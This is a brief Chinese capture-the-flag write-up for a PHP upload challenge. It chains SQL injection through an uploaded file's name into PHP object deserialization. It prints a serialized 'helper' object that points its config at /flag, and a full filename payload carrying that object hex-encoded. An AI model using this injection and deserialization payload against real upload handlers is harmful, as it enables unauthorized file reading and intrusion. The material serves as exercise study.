根据源码的提示找到github上的源代码

源码

然后思路是想看到sql语句,其中应该可以插入危险代码,导致sql注入。那么我们先找到SQL语句:

INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")

追溯函数:

  1. implode(",",$sql_fields:
    用逗号组合sql_fields

  2. $sql_fields[] = "“.$key_temp.”";
    反引号中间包含str_replace(chr(0).‘*’.chr(0), ‘\0\0\0’, $key);

  3. $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
    替换后的key

4.foreach($data as $key=>$value)
data的键数组

看看pop链:
insert_array->save->upload

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}


filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"

文件名注入

show的数据是反序列化出来的,所以在注入数据库的时候把恶意代码也注入,然后记得hex来不用引号